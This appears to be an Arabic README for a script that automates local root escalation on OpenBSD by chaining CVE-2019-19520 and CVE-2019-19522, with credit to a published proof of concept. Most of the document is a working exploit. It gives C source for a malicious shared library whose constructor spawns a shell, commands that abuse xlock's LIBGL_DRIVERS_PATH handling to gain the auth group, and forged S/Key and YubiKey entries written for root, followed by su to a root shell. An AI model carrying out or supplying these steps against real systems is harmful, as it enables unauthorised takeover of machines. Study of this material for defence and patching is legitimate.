Openbsd-Privilege-Escalation

سكربت يعمل على أتمتة عملية رفع الامتيازات على نظام OpenBSD (CVE-2019-19520) عن طريق استغلال ملف xlock الثنائي والحصول على صلاحية sgid الخاصة به، ثم رفع الامتيازات إلى مستخدم root عبر (CVE-2019-19522) من خلال استغلال صلاحيات مجموعة auth وإضافة مفاتيح إلى Skey أو Yubikey

كود C هو إلى حد كبير نسخة من PoC الأصلي من: https://www.openwall.com/lists/oss-security/2019/12/04/5

CVE-2019-19522: رفع محلي للامتيازات عبر S/Key وYubiKey

على OpenBSD، يتم تثبيت /usr/X11R6/bin/xlock افتراضيًا ويكون set-group-ID "auth"، وليس set-user-ID؛ ولذلك فإن الفحص التالي غير مكتمل ويجب أن يستخدم issetugid() بدلاً من ذلك:

101 _X_HIDDEN void * 102 driOpenDriver(const char driverName) 103 { ... 113 if (geteuid() == getuid()) { 114 / don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");

يمكن لمهاجم محلي استغلال هذه الثغرة واستخدام dlopen() مع برنامج تشغيل خاص به للحصول على امتيازات مجموعة "auth":

$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)

$ cd /tmp

$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>

static void attribute ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(LINE); if (setresgid(sgid, sgid, sgid) != 0) _exit(LINE);

char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);

} EOF

$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706

$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

الآن وبعد أن حصلنا على امتيازات مجموعة auth، يمكننا استغلال هذه الامتيازات بإضافة مفاتيح الجذر الخاصة بنا إلى Skey أو Yubikey

CVE-2019-19522: رفع محلي للامتيازات عبر S/Key وYubiKey

إذا كان نوع المصادقة S/Key أو YubiKey مفعّلاً (كلاهما مثبت افتراضيًا لكنه معطّل)، فيمكن لمهاجم محلي استغلال امتيازات مجموعة "auth" للحصول على الامتيازات الكاملة لمستخدم "root" (لأن login_skey وlogin_yubikey لا يتحققان من أن الملفات الموجودة في /etc/skey و/var/db/yubikey تعود للمستخدم الصحيح، وهذان الدليلان قابلان للكتابة من قبل مجموعة "auth").

(ملاحظة: للحصول على امتيازات مجموعة "auth"، يمكن لمهاجم محلي أولاً استغلال CVE-2019-19520 في xlock.)

إذا كان S/Key مفعّلاً (عبر skeyinit -E)، فيمكن لمهاجم محلي يمتلك امتيازات "auth" إضافة إدخال S/Key (ملف في /etc/skey) لمستخدم "root" (إذا كان هذا الملف موجودًا بالفعل، فلا يمكن للمهاجم ببساطة حذفه أو إعادة تسميته، لأن /etc/skey هو دليل sticky؛ يوجد حل بديل بسيط، ويُترك كتمرين للقارئ المهتم):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

$ chmod 0600 /etc/skey/root

$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN

#id uid=0(root) gid=0(wheel) ...

إذا كان YubiKey مفعّلاً (عبر login.conf)، فيمكن لمهاجم محلي يمتلك امتيازات "auth" إضافة إدخال YubiKey (ملفان في /var/db/yubikey) لمستخدم "root" (إذا كانت هذه الملفات موجودة بالفعل، يمكن للمهاجم ببساطة حذفها أو إعادة تسميتها، لأن /var/db/yubikey ليس دليل sticky):

$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)

$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid

$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key

$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul

#id uid=0(root) gid=0(wheel) ...